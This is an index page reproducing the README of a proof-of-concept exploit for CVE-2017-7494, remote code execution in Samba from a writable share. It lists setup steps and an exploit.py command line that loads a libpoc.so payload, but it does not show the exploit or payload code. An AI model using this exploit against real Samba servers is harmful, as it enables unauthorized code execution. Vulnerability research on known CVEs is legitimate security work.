Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/betab0t/cve-2017-7494

Proof-of-Concept exploit for CVE-2017-7494(Samba RCE from a writable share)
https://github.com/betab0t/cve-2017-7494

Last synced: 3 months ago
JSON representation

Proof-of-Concept exploit for CVE-2017-7494(Samba RCE from a writable share)

Awesome Lists containing this project

README

        

# Basic Setup

## Install Samba version 4.5.9
* https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz
* https://wiki.samba.org/index.php/Build_Samba_from_Source

## Get patched version of Impacket
`pip install -r requirements.txt`

# Usage
1. Start Samba server in interactive mode + debug print

`sudo /home/ubuntu/samba-4.5.9/bin/smbd -i --debuglevel=10 --configfile=/etc/samba/smb.conf`

2. Copy **[libpoc.so](payload/bin/libpoc.so)** to target share
3. HAVE FUN!

`exploit.py -t x.x.x.x -m /path/to/libpoc.so`

# Notes
* liked this project? visit us at http://www.intezer.com | @IntezerLabs(twitter)

![Screenshot](screenshot.png)